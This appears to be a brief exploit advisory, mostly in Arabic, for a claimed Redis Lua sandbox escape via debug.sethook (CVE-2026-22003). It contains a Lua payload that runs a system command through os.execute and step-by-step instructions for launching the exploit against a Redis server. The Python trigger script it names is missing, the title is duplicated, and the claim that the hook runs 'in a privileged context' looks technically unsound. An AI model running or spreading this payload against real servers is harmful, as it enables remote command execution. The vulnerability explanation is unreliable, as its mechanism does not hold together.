CVE-2026-22003 – تجاوز صندوق الرمل Lua في Redis عبر debug.sethook

كود البرنامج (مشغل Lua + Python)

-- redis_sandbox.lua - Script that attempts sandbox escape
local function escape()
  debug.sethook(function() 
    -- This hook runs in a privileged context
    os.execute("id > /tmp/redis_escape") 
  end, "r")
  local a = 1
end
return escape()

CVE-2026-22003 – تجاوز صندوق الرمل Lua في Redis عبر debug.sethook

نظرة عامة

لا يقوم صندوق رمل Lua في Redis بتعطيل دالة debug.sethook بشكل صحيح. يمكن للمهاجم الذي يستطيع تشغيل نصوص Lua تركيب خطاف (hook) يعمل في سياق مميز والخروج من صندوق الرمل لتنفيذ أوامر نظام عشوائية.

تفاصيل الثغرة

• النوع: تجاوز صندوق الرمل (Sandbox Escape)
• التأثير: تنفيذ عن بُعد للأكواد على مضيف Redis.
• السبب الجذري: تبقى مكتبة التصحيح (debug) في بيئة Lua متاحة، مما يسمح بتركيب خطافات يمكنها استدعاء os.execute أو دوال مشابهة.

إثبات الاستغلال

1. ابدأ خادم Redis (بالإعدادات الافتراضية التي تسمح بـ EVAL).
2. شغّل الاستغلال:
   root@kitploit:~

   pip install redis
   python trigger_redis_sandbox_escape.py
   

The file /tmp/redis_escape is created, proving command execution.